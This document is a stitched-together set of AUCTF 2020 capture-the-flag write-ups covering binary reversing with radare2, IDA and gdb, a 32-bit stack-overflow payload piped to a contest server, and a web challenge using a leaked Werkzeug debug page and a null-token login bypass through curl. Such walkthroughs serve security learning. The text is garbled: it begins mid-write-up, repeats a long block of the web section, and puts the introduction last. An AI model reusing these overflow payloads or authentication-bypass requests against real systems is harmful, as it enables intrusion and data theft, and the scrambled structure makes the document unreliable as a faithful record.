System.out.println("Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this"); System.out.println("\t" + secret_1); System.out.print("Think you can crack it? If so give me the value that hashes to that!\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"MD5"); return string2.compareTo(secret_1) == 0; }``` That's easy .. the input gets encrypted using MD5 and then compared to secret_1 variable if they're equal it returns truewe need to decrypt secret_1 value and that will be our first key! I used this [site](https://hashtoolkit.com/decrypt-hash/) for that: <div align="center"></div> Nice! `masterchief` is our first input we got one .. two to go! - crack_2():```java private static boolean crack_2(Scanner scanner) { System.out.println("Nice work! One down, two to go ..."); System.out.print("This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out!\n\t"); String string = scanner.nextLine(); return mr_game_and_watch.hash((String)string, (String)"SHA1").compareTo(mr_game_and_watch.decrypt((int[])secret_2, (int)key_2)) == 0; }``` Well, here it takes our input -> encrypt it using SHA1 -> compare it to the decrypted secret_2 value using decrypt() function Now by thinking reverse! we need to: decrypt secret_2 value -> decrypt the result using SHA1 -> and that's our input! The equivalent python code of decrypt() function is: ```pythonsecret = [114, 118, 116, 114, 113, 114, 36, 37, 38, 38, 120, 121, 33, 36, 37, 113, 117, 118, 118, 113, 33, 117, 121, 37, 119, 34, 118, 115, 114, 120, 119, 114, 36, 120, 117, 120, 38, 114, 35, 118] key = 64 def decrypt(a, k): result = "" for i in range (0, len(a)): result += chr(a[i] ^ k) return result print(decrypt(secret, key))``` Now running it: ```bash$ python3 decrypt.py264212deff89ade15661a59e7b632872d858f2c6``` Now decrypting this SHA1 using the same [site](https://hashtoolkit.com/decrypt-hash/): <div align="center"></div> Great! `princesspeach` is our second input .. only one left! - crack_3():```java private static boolean crack_3(Scanner scanner) { System.out.print("Nice work! Here's the last one...\n\t"); String string = scanner.nextLine(); String string2 = mr_game_and_watch.hash((String)string, (String)"SHA-256"); int[] arrn = mr_game_and_watch.encrypt((String)string2, (int)key_3); return Arrays.equals(arrn, secret_3); }``` So it takes our input -> encrypt it using SHA256 -> encrypt it using encrypt() function -> compare the result with secret_3 array thinking reverse we should: take the secret_3 array -> decrypt it using the reverse of encrypt() function -> decrypt the resulting SHA256 hash The encrypt() function just XOR each character with 313 value and that's the equivalent python code:```pythonsecret = [268, 348, 347, 347, 269, 256, 348, 269, 256, 256, 344, 271, 271, 264, 266, 348, 257, 266, 267, 348, 269, 266, 266, 344, 267, 270, 267, 267, 348, 349, 349, 265, 349, 267, 256, 269, 270, 349, 268, 271, 351, 349, 347, 269, 349, 271, 257, 269, 344, 351, 265, 351, 265, 271, 346, 271, 266, 264, 351, 349, 351, 271, 266, 266] key = 313 def decrypt(a, n): myStr = "" for i in range (0, len(a)): myStr += chr(a[i] ^ key) return myStr print(decrypt(secret, key))``` Now running it:```bash$ python3 decrypt2.py5ebb49e499a6613e832e433a2722edd0d2947d56fdb4d684af0f06c631fdf633``` Then i used this [site](https://md5decrypt.net/en/Sha256/) to decrypt the result: <div align="center"></div> Finally! Our third input is `solidsnake` Now connecting to the server:```$ nc challenges.auctf.com 30001 Welcome to the Land of Interpreted Languages!If you are used to doing compiled languages this might be a shock... but if you hate assembly this is the place to be! Unfortunately, if you hate Java, this may suck...Good luck! Let's try some hash cracking!! I'll go easy on you the first time. The first hash we are checking is this d5c67e2fc5f5f155dff8da4bdc914f41Think you can crack it? If so give me the value that hashes to that! masterchiefNice work! One down, two to go ...This next one you don't get to see, if you aren't already digging into the class file you may wanna try that out! princesspeachNice work! Here's the last one... solidsnakeThat's correct!auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}``` Flag: `auctf{If_u_h8_JAVA_and_@SM_try_c_sharp_2922}` --- ## Sora#### Reversing ### Description:> **This obnoxious kid with spiky hair keeps telling me his key can open all doors.> Can you generate a key to open this program before he does?> Connect to challenges.auctf.com 30004> [sora](sora/sora)** ### Solution:As usual using `file` command it appears it's a 64-bit ELF file, dynamically linked and not strippedand with `strings` command we find an interesting part: ```$ strings sora..aQLpavpKQcCVpfcgGive me a key!That's not it!flag.txtToo bad you can only run this exploit on the server.....``` as a first assumption maybe `aQLpavpKQcCVpfcg` string is some sort of an encrypted key or something Alright, let's put this into radare2```$ r2 -AA sora[0x00001140]> afl..0x000012dd 7 171 sym.encrypt0x00001430 4 101 sym.__libc_csu_init0x00001229 6 180 main.. [0x00001140]> s main[0x00001229]> VV```In the visual mode we can see the encrypt() function gets called after the user enters an input: <div align="center"></div> If eax register does NOT equal zero then it prints the flag .. whatever happens in encrypt() function it MUST returns a non-zero value Now moving to IDA pro to see the decompilation of encrypt() function: <div align="center"></div> The function simply encrypts the character and if it doesn't equal the equivalent character in the secret variable it return 0 which we don't want to happen the secret variable has the value of our interesting string `aQLpavpKQcCVpfcg`: <div align="center"></div> Now i wrote this python script which iterates through each character in the secret variable string and finds the printable character that satisfies the if condition: ```pythonsecret = "aQLpavpKQcCVpfcg" def getkeychar(a): # iterates through the printable characters only for x in range(ord(' '), ord('~')): if chr((8 * x + 19)%61 + 65) == a: return chr(x) key = ""for i in range (0, len(secret)): key += getkeychar(secret[i]) print(key) ``` Now running it gives us the key:```$ python3 key.py75<"72"%5($."0(G``` Now connecting to the server:```$ nc challenges.auctf.com 30004Give me a key!75<"72"%5($."0(Gauctf{that_w@s_2_ezy_29302}``` Flag: `auctf{that_w@s_2_ezy_29302}` --- ## Don't Break Me#### Reversing ### Description:> **I've been working on my anti-reversing lately. See if you can get this flag!> Connect at challenges.auctf.com 30005> [dont_break_me](don't%20break%20me/dont_break_me)** ### Solution:Alright, with `file` command we know it's 32-bit ELF file, dynamically linked and not stripped .. and with `strings` command there's nothing interesting Now it's time for radare2: ```$ r2 -AA dont-break-me[0x000010e0]> afl..0x000015a1 7 224 sym.decrypt0x0000138a 6 102 sym.get_string0x000014cf 7 210 sym.encrypt0x00001681 6 117 sym.inverse0x00001272 4 280 main..``` Those function names sound interesting let's start with main() function: <div align="center"></div> It seems that the program takes the user input then removes the newline character at the end, then pushes it as an argument to encrypt() function and put the result in s2 variable .. after that it allocates a new memory using calloc() built-in function and returns the address to s1 which is passed to get_string() function as an argument to load a string .. afterwards there's a compare so s1 MUST be equal s2 So overall we need to reverse that as follows:- See the get_string() function and get the string which is loaded to s1- Decrypt that string using decrypt() function- Input the result in order to get the flag So far so good .. we'll start with decompiling get_string() function using IDA pro: <div align="center"></div> It's clear that it iterates from 0 to 31 and with this if condition it only loads the even indexed characters (e.x. 0, 2, 4, ...) from blah variable **backwoards** in the a1 variable And this is the value of blah variable: <div align="center"></div> Which is `XAPRMXCSBCEDISBVXISXWERJRWSZARSQ` Next, the decrypt() function: <div align="center"></div> Clearly, it takes the user input string with two argument which, from analysing the code, are 12, 17 consecutively then iterates through each character and decrypt it using a formula which appears to be the [Affine Cipher](https://en.wikipedia.org/wiki/Affine_cipher) Finally the inverse() function: <div align="center"></div> Simple enough! .. Now by combining our understanding of the previous functions i came up with this python script which is equivalent of all we said```pythondef get_string(s): u = list(s) result = [] for i in range (0, len(u)): if i % 2 == 0: result.append(u[i]) result.reverse() return ''.join(result) def inverse(a): n = 0 for i in range (0, 26): if i * a % 26 == 1: n = i return n def decrypt(s, a, k): x = "" inv = inverse(a) for i in s: # check if the character is a space if ord(i) == 32: x += i else: x += chr(inv * (ord(i) + 65 - k)%26 + 65) return x secret = "XAPRMXCSBCEDISBVXISXWERJRWSZARSQ"a = 17k = 12 secret = get_string(secret) key = decrypt(secret, a, k) print(key)``` Now by running this script it should give us the key: ```$ python3 decrypt.pyIKILLWITHMYHEART``` Now connecting to the server: ```$ nc challenges.auctf.com 3000554 68 65 20 6d 61 6e 20 69 6e 20 62 6c 61 63 6b 20 66 6c 65 64 20 61 63 72 6f 73 73 20 74 68 65 20 64 65 73 65 72 74 2c 20 61 6e 64 20 74 68 65 20 67 75 6e 73 6c 69 6e 67 65 72 20 66 6f 6c 6c 6f 77 65 64 2eInput: IKILLWITHMYHEARTauctf{static_or_dyn@mIc?_12923}``` Flag: `auctf{static_or_dyn@mIc?_12923}` --- ## Thanksgiving Dinner#### Pwn ### Description:> **I just ate a huge dinner. I can barley eat anymore... so please don't give me too much!> nc challenges.auctf.com 30011> Note: ASLR is disabled for this challenge> [turkey](thanksgiving%20dinner/turkey)** ### Solution:Nice! by doing `file` command we know it's 32-bit ELF file, dynamically linked and not strippedand with `strings` command nothing really interesting And with radare2:```$ r2 -AA turkey[0x000010c0]> afl..0x000011f9 1 87 main0x00001250 7 198 sym.vulnerable..``` Those are interesting functions .. the main only puts a text and then calls vulnerable() function which makes 5 checks if they're all true it prints out the flag!: <div align="center"></div> We go to gdb-peda for a better memory examine and debugging: ```gdb-peda$ set disassembly-flavor intelgdb-peda$ disass vulnerable``` <div align="center"></div> We see fgets length is 0x24 which is 36, so we put a breakpoint after fgets that will allow us to examine the memory right after we enter the input. And by running the file and enters `AAAA` as input: <div align="center"></div> We can see that eax register is pointing to 0xbffff14c address and by examining the memory at this location and all the addresses in the comparisons: <div align="center"></div> GREAT! Now we can overwrite those values to pass the checks .. and these are the 5 checks: <div align="center"></div> - ![Red](https://placehold.it/15/ff0000/000000?text=+) 0xbffff16c MUST EQUAL 0x1337- ![Green](https://placehold.it/15/00ff00/000000?text=+) 0xbffff168 MUST BE LESS THAN 0xffffffec (= -20)- ![Yellow](https://placehold.it/15/ffff00/000000?text=+) 0xbffff160 MUST NOT EQUAL 0x14- ![Pink](https://placehold.it/15/ff00ff/000000?text=+) 0xbffff164 MUST EQUAL 0x667463- ![Orange](https://placehold.it/15/ff6600/000000?text=+) 0xbffff15c MUST EQUAL 0x2a Now our payload is: ```python>>> from pwn import p32>>> 'A'*16 + p32(0x2a) + p32(0x20) + p32(0x667463) + p32(0xffffffec - 10) + p32(0x1337)'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'``` Now we can pipe it to the server: ```$ python -c "print 'AAAAAAAAAAAAAAAA*\x00\x00\x00 \x00\x00\x00ctf\x00\xe2\xff\xff\xff7\x13\x00\x00'" | nc challenges.auctf.com 30011Hi!Welcome to my program... it's a little buggy...Hey I heard you are searching for flags! Well I've got one. :)Here you can have part of it!auctf{ Sorry that's all I got! Wait... you aren't supposed to be here!!auctf{I_s@id_1_w@s_fu11!}``` Flag: `auctf{I_s@id_1_w@s_fu11!}`
# AUCTF 2020 – API madness * **Category:** web* **Points:** 926 ## Challenge > http://challenges.auctf.com:30023> > We are building out our new API. We even have authentication built in!> > Author: shinigami ## Solution Connecting to `http://challenges.auctf.com:30023` you will get the following message. ```{ "NOTE": "For API help visit our help page /static/help", "status": "OK"}``` The help page at `http://challenges.auctf.com:30023/static/help` will give you the following information. ```html<html><body><center><h1>FTP Server API Help Page</h1></center><h2>Endpoints</h2>/api/login - POST/api/ftp/dir - POST/api/ftp/get_file - POST<h2>Params</h2>/api/login - username, password/ftp/dir - dir/ftp/get_file - file</body></html>``` /api/login - POST /api/ftp/dir - POST /api/ftp/get_file - POST /api/login - username, password /ftp/dir - dir /ftp/get_file - file So the following API endpoints are available:* `/api/login` - `HTTP POST` with `username`, `password` JSON parameters;* `/api/ftp/dir` - `HTTP POST` with `dir` JSON parameter;* `/api/ftp/get_file` - `HTTP POST` with `file` JSON parameter. Using the `/api/login` endpoint an error page will appear. ```html <html> <head> <title>ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',)) // Werkzeug Debugger</title> <link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css" type="text/css"> <link rel="shortcut icon" href="?__debugger__=yes&cmd=resource&f=console.png"> <script src="?__debugger__=yes&cmd=resource&f=jquery.js"></script> <script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script> <script type="text/javascript"> var TRACEBACK = 140737215262864, CONSOLE_MODE = false, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "OG4SiyCTEaRwR1zKkBzE"; </script> </head> <body style="background-color: #fff"> <div class="debugger"><h1>requests.exceptions.ConnectionError</h1><div class="detail"> ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))</div><h2 class="traceback">Traceback <em>(most recent call last)</em></h2><div class="traceback"> ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',)) <div class="frame" id="frame-140737210047568"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">2463</em>, in __call__</h4> <div class="source library"><span></span> <span> </span>def __call__(self, environ, start_response):<span> </span>"""The WSGI server calls the Flask application object as the<span> </span>WSGI application. This calls :meth:`wsgi_app` which can be<span> </span>wrapped to applying middleware."""<span> </span>return self.wsgi_app(environ, start_response)<span></span> <span> </span>def __repr__(self):<span> </span>return "<%s %r>" % (self.__class__.__name__, self.name)</div></div> <div class="frame" id="frame-140737214819088"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">2449</em>, in wsgi_app</h4> <div class="source library"><span> </span>try:<span> </span>ctx.push()<span> </span>response = self.full_dispatch_request()<span> </span>except Exception as e:<span> </span>error = e<span> </span>response = self.handle_exception(e)<span> </span>except: # noqa: B001<span> </span>error = sys.exc_info()[1]<span> </span>raise<span> </span>return response(environ, start_response)<span> </span>finally:</div></div> <div class="frame" id="frame-140737214819152"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">1866</em>, in handle_exception</h4> <div class="source library"><span> </span># if we want to repropagate the exception, we can attempt to<span> </span># raise it with the whole traceback in case we can do that<span> </span># (the function was actually called from the except part)<span> </span># otherwise, we just raise the error again<span> </span>if exc_value is e:<span> </span>reraise(exc_type, exc_value, tb)<span> </span>else:<span> </span>raise e<span></span> <span> </span>self.log_exception((exc_type, exc_value, tb))<span> </span>server_error = InternalServerError()</div></div> <div class="frame" id="frame-140737182617552"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">2446</em>, in wsgi_app</h4> <div class="source library"><span> </span>ctx = self.request_context(environ)<span> </span>error = None<span> </span>try:<span> </span>try:<span> </span>ctx.push()<span> </span>response = self.full_dispatch_request()<span> </span>except Exception as e:<span> </span>error = e<span> </span>response = self.handle_exception(e)<span> </span>except: # noqa: B001<span> </span>error = sys.exc_info()[1]</div></div> <div class="frame" id="frame-140737182616784"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">1951</em>, in full_dispatch_request</h4> <div class="source library"><span> </span>request_started.send(self)<span> </span>rv = self.preprocess_request()<span> </span>if rv is None:<span> </span>rv = self.dispatch_request()<span> </span>except Exception as e:<span> </span>rv = self.handle_user_exception(e)<span> </span>return self.finalize_request(rv)<span></span> <span> </span>def finalize_request(self, rv, from_error_handler=False):<span> </span>"""Given the return value from a view function this finalizes<span> </span>the request by converting it into a response and invoking the</div></div> <div class="frame" id="frame-140737347119056"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">1820</em>, in handle_user_exception</h4> <div class="source library"><span> </span>return self.handle_http_exception(e)<span></span> <span> </span>handler = self._find_error_handler(e)<span></span> <span> </span>if handler is None:<span> </span>reraise(exc_type, exc_value, tb)<span> </span>return handler(e)<span></span> <span> </span>def handle_exception(self, e):<span> </span>"""Handle an exception that did not have an error handler<span> </span>associated with it, or that was raised from an error handler.</div></div> <div class="frame" id="frame-140737210047696"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">1949</em>, in full_dispatch_request</h4> <div class="source library"><span> </span>self.try_trigger_before_first_request_functions()<span> </span>try:<span> </span>request_started.send(self)<span> </span>rv = self.preprocess_request()<span> </span>if rv is None:<span> </span>rv = self.dispatch_request()<span> </span>except Exception as e:<span> </span>rv = self.handle_user_exception(e)<span> </span>return self.finalize_request(rv)<span></span> <span> </span>def finalize_request(self, rv, from_error_handler=False):</div></div> <div class="frame" id="frame-140737214759056"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/flask/app.py"</cite>, line <em class="line">1935</em>, in dispatch_request</h4> <div class="source library"><span> </span>getattr(rule, "provide_automatic_options", False)<span> </span>and req.method == "OPTIONS"<span> </span>):<span> </span>return self.make_default_options_response()<span> </span># otherwise dispatch to the handler for that endpoint<span> </span>return self.view_functions[rule.endpoint](**req.view_args)<span></span> <span> </span>def full_dispatch_request(self):<span> </span>"""Dispatches the request and on top of that performs request<span> </span>pre and postprocessing as well as HTTP exception catching and<span> </span>error handling.</div></div> <div class="frame" id="frame-140737210048400"> <h4>File <cite class="filename">"/web_server.py"</cite>, line <em class="line">21</em>, in try_login</h4> <div class="source "><span> </span>if not request.json or 'username' not in request.json:<span> </span>abort(400)<span> </span>username = request.json['username']<span> </span>password = request.json.get("password","")<span> </span>login_check = {"username":username,"password":password}<span> </span>token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token']<span> </span>r_data = {"status":"OK", "token":token}<span> </span>return jsonify(r_data)<span></span> <span></span>@app.route('/static/help')<span></span>def help_page():</div></div> <div class="frame" id="frame-140737210047760"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/api.py"</cite>, line <em class="line">112</em>, in post</h4> <div class="source library"><span> </span>:param \*\*kwargs: Optional arguments that ``request`` takes.<span> </span>:return: :class:`Response <Response>` object<span> </span>:rtype: requests.Response<span> </span>"""<span></span> <span> </span>return request('post', url, data=data, json=json, **kwargs)<span></span> <span></span> <span></span>def put(url, data=None, **kwargs):<span> </span>r"""Sends a PUT request.<span></span> </div></div> <div class="frame" id="frame-140737219802320"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/api.py"</cite>, line <em class="line">58</em>, in request</h4> <div class="source library"><span></span> <span> </span># By using the 'with' statement we are sure the session is closed, thus we<span> </span># avoid leaving sockets open which can trigger a ResourceWarning in some<span> </span># cases, and look like a memory leak in others.<span> </span>with sessions.Session() as session:<span> </span>return session.request(method=method, url=url, **kwargs)<span></span> <span></span> <span></span>def get(url, params=None, **kwargs):<span> </span>r"""Sends a GET request.<span></span> </div></div> <div class="frame" id="frame-140737219805136"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/sessions.py"</cite>, line <em class="line">508</em>, in request</h4> <div class="source library"><span> </span>send_kwargs = {<span> </span>'timeout': timeout,<span> </span>'allow_redirects': allow_redirects,<span> </span>}<span> </span>send_kwargs.update(settings)<span> </span>resp = self.send(prep, **send_kwargs)<span></span> <span> </span>return resp<span></span> <span> </span>def get(self, url, **kwargs):<span> </span>r"""Sends a GET request. Returns :class:`Response` object.</div></div> <div class="frame" id="frame-140737293459984"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/sessions.py"</cite>, line <em class="line">618</em>, in send</h4> <div class="source library"><span></span> <span> </span># Start time (approximately) of the request<span> </span>start = preferred_clock()<span></span> <span> </span># Send the request<span> </span>r = adapter.send(request, **kwargs)<span></span> <span> </span># Total elapsed time of the request (approximately)<span> </span>elapsed = preferred_clock() - start<span> </span>r.elapsed = timedelta(seconds=elapsed)<span></span> </div></div> <div class="frame" id="frame-140737328661136"> <h4>File <cite class="filename">"/usr/local/lib/python2.7/site-packages/requests/adapters.py"</cite>, line <em class="line">508</em>, in send</h4> <div class="source library"><span></span> <span> </span>if isinstance(e.reason, _SSLError):<span> </span># This branch is for urllib3 v1.22 and later.<span> </span>raise SSLError(e, request=request)<span></span> <span> </span>raise ConnectionError(e, request=request)<span></span> <span> </span>except ClosedPoolError as e:<span> </span>raise ConnectionError(e, request=request)<span></span> <span> </span>except _ProxyError as e:</div></div> <blockquote>ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))</blockquote></div> <div class="plain"> <form action="/?__debugger__=yes&cmd=paste" method="post"> <input type="hidden" name="language" value="pytb"> This is the Copy/Paste friendly version of the traceback. <span>You can also paste this traceback into a gist: <input type="submit" value="create paste"></span> <textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last): File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2463, in __call__ return self.wsgi_app(environ, start_response) File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2449, in wsgi_app response = self.handle_exception(e) File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1866, in handle_exception reraise(exc_type, exc_value, tb) File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 2446, in wsgi_app response = self.full_dispatch_request() File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1951, in full_dispatch_request rv = self.handle_user_exception(e) File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1820, in handle_user_exception reraise(exc_type, exc_value, tb) File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1949, in full_dispatch_request rv = self.dispatch_request() File "/usr/local/lib/python2.7/site-packages/flask/app.py", line 1935, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args) File "/web_server.py", line 21, in try_login token = r.post("http://10.0.2.8/api/login_check",json=login_check).json()['token'] File "/usr/local/lib/python2.7/site-packages/requests/api.py", line 112, in post return request('post', url, data=data, json=json, **kwargs) File "/usr/local/lib/python2.7/site-packages/requests/api.py", line 58, in request return session.request(method=method, url=url, **kwargs) File "/usr/local/lib/python2.7/site-packages/requests/sessions.py", line 508, in request resp = self.send(prep, **send_kwargs) File "/usr/local/lib/python2.7/site-packages/requests/sessions.py", line 618, in send r = adapter.send(request, **kwargs) File "/usr/local/lib/python2.7/site-packages/requests/adapters.py", line 508, in send raise ConnectionError(e, request=request)ConnectionError: HTTPConnectionPool(host='10.0.2.8', port=80): Max retries exceeded with url: /api/login_check (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7ffff45b4dd0>: Failed to establish a new connection: [Errno 110] Connection timed out',))</textarea> </form></div><div class="explanation"> The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. <span> If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more.</span></div> <div class="footer"> Brought to you by DON'T PANIC, your friendly Werkzeug powered traceback interpreter. </div> </div> <input type="hidden" name="language" value="pytb"> This is the Copy/Paste friendly version of the traceback. <span>You can also paste this traceback into a gist: <input type="submit" value="create paste"></span> <div class="pin-prompt"> <div class="inner"> <h3>Console Locked</h3> The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server. <form> PIN: <input type=text name=pin size=14> <input type=submit name=btn value="Confirm Pin"> </form> </div> </div> </body></html> ``` The error will leak `http://challenges.auctf.com:30023/api/login_check` endpoint. Trying to use it, you will get a "null token". ```$ curl -X POST -H "Content-Type: application/json" -d '{"username":"m3ssap0","password":"password"}' http://challenges.auctf.com:30023/api/login_check{ "token": null}``` This "token" can be used to authenticate on other endpoints to discover and retrieve the flag file (i.e. *Broken Authentication* vulnerability in *OWASP Top 10*). ```$ curl -X POST -H "Content-Type: application/json" -d '{"dir":".", "token":null}' http://challenges.auctf.com:30023/api/ftp/dir{ "dir": [ ".dockerenv", "bin", "boot", "dev", "etc", "flag.txt", "ftp_server.py", "home", "lib", "lib64", "media", "mnt", "opt", "proc", "root", "run", "sbin", "srv", "startup.sh", "sys", "templates", "tmp", "usr", "var", "web_server.py" ], "status": "OK"} $ curl -X POST -H "Content-Type: application/json" -d '{"file":"flag.txt", "token":null}' http://challenges.auctf.com:30023/api/ftp/get_file{ "file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n", "status": "OK"}``` The data is base64 encoded (`YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==`); decoding it you will find the flag. ```auctf{0w@sp_6roK3N_@uth}``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server. <form> PIN: <input type=text name=pin size=14> <input type=submit name=btn value="Confirm Pin"> </form> </div> </div> </body></html> ``` The error will leak `http://challenges.auctf.com:30023/api/login_check` endpoint. Trying to use it, you will get a "null token". ```$ curl -X POST -H "Content-Type: application/json" -d '{"username":"m3ssap0","password":"password"}' http://challenges.auctf.com:30023/api/login_check{ "token": null}``` This "token" can be used to authenticate on other endpoints to discover and retrieve the flag file (i.e. *Broken Authentication* vulnerability in *OWASP Top 10*). ```$ curl -X POST -H "Content-Type: application/json" -d '{"dir":".", "token":null}' http://challenges.auctf.com:30023/api/ftp/dir{ "dir": [ ".dockerenv", "bin", "boot", "dev", "etc", "flag.txt", "ftp_server.py", "home", "lib", "lib64", "media", "mnt", "opt", "proc", "root", "run", "sbin", "srv", "startup.sh", "sys", "templates", "tmp", "usr", "var", "web_server.py" ], "status": "OK"} $ curl -X POST -H "Content-Type: application/json" -d '{"file":"flag.txt", "token":null}' http://challenges.auctf.com:30023/api/ftp/get_file{ "file_data": "YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==\n", "status": "OK"}``` The data is base64 encoded (`YXVjdGZ7MHdAc3BfNnJvSzNOX0B1dGh9Cg==`); decoding it you will find the flag. ```auctf{0w@sp_6roK3N_@uth}```
# AUCTF 2020<div align="center"></div> AUCTF 2020 has ended, and me and my team [**P1rates**](https://ctftime.org/team/113157) really enjoyed it as it was full of good problems, I participated as **T1m3-m4ch1n3** and here's my writeup about some of the problems that i solved.*(if you're interested in the rest you can read the writeup of my teammate **y4mm1** [here](https://ah-sayed.github.io/posts/auctf-2020))* ## Challenges | Title | Category || --------------------------------------------|--------------:|| [Cracker Barrel](#cracker-barrel) | Reversing || [Mr. Game and Watch](#mr-game-and-watch) | Reversing || [Sora](#sora) | Reversing || [Don't Break Me](#dont-break-me) | Reversing || [Thanksgiving Dinner](#thanksgiving-dinner) | Pwn | --- ## Cracker Barrel#### Reversing ### Description:> **I found a USB drive under the checkers board at cracker barrel. My friends told me not to plug it in but surely nothing bad is on it?> I found this file, but I can't seem to unlock it's secrets. Can you help me out?> Also.. once you think you've got it I think you should try to connect to challenges.auctf.com at port 30000 not sure what that means, but it written on the flash drive..> [cracker_barrel](cracker%20barrel/cracker_barrel)** ### Solution: Firstly we start by `strings` command and obviously the flag isn't there so we do `file` command we will find it's ELF 64-bit, dynamically linked and not stripped. let's do some radare2 stuff```$ r2 -AA cracker_barrel[0x00001180]> afl``` well, here we find some interesting function names like:```mainsym.checksym.check_1sym.check_2sym.check_3sym.print_flag``` then seeking to the main and entering the visual mode:```[0x00001180]> s main[0x000012b5]> VV``` we notice that main calls sym.check and then `test eax, eax` and the `je` if it's false then it calls sym.print_flag .. So whatever happens inside check() function it MUST return a non-zero value so we can get the flag! By digging into check() function we see clearly the it takes the user input and calls check_1() function and if the return is zero it returns zero (which we don't need to happend), Otherwise it continues to call the second check which is check_2() and so on with check_3() .. so we need to make sure to return a non-zero value from these functions too Now going deeper inside check_1(): <div align="center"></div> as we see clearly it takes the user input in s1 variable, then "starwars" in s2 and compares them if they're equal then it goes to the second check which compares the user input with "startrek" if they're NOT equal it returns 1 So all we need to do is passing "starwars" as first input and by that we passed the first check! Now we go to check_2() function in visual mode we'll find there's a string "si siht egassem terces" that get modified by some operations and then compared to our second input <div align="center"></div> as seen in the photo above we can make a breakpoint in the `cmp` instruction and examine the 2 stringsI'll use gdb for the debugging:```$ gdb cracker_barrel(gdb) set disassembly-flavor intel(gdb) disass check_2 .. 0x0000000000001553 <+132>: mov rsi,rdx 0x0000000000001556 <+135>: mov rdi,rax 0x0000000000001559 <+138>: call 0x1130 .. (gdb) b *check_2+138Breakpoint 1 at 0x1559 (gdb) rGive me a key!starwarsYou have passed the first test! Now I need another key!AAAA Breakpoint 1, 0x0000555555555559 in check_2 ()``` Now we hit the breakpoint on the comparing point now by examining rsi and rdi:```(gdb) x/wx $rsi0x7fffffffc540: 0x41414141(gdb) x/2wx $rdi0x555555559420: 0x73692073 0x00000000``` Clearly rsi is our input and rdi is how our input must be! which represents "s is" as a string (in little endian)!And this our second input! Now heading to our final check which is check_3 function() in visual mode .. we se a string "z!!b6~wn&\`" passed seperately to variablesthen it iterates through each character in the user input string and encrypt it as follows: <div align="center"></div> The encryption method:- take each character and add 0x2 to its hexadecimal value- XOR the result with 0x14 And then compare the n-th character in the resulting string with the n-th character in "z!!b6\~wn&\`" string.Our goal now is clear which is to decrypt "z!!b6\~wn&\`" string:```pythonsecret = "z!!b6~wn&`"result = "" for c in secret: result += chr((ord(c) ^ 0x14) - 0x2) print(result)``` Now by running it:```bash$ python3 decrypt.pyl33t hax0r``` And that's our third input!Now by connecting to the server to get the flag:```$ nc challenges.auctf.com 30000Give me a key!starwarsYou have passed the first test! Now I need another key!s isNice work! You've passes the second test, we aren't done yet!l33t hax0rCongrats you finished! Here is your flag!auctf{w3lc0m3_to_R3_1021}``` Flag: `auctf{w3lc0m3_to_R3_1021}` --- ## Mr. Game and Watch#### Reversing ### Description:> **My friend is learning some wacky new interpreted language and different hashing algorithms. He's hidden a flag inside this program but I cant find it...> He told me to connect to challenges.auctf.com 30001 once I figured it out though.> 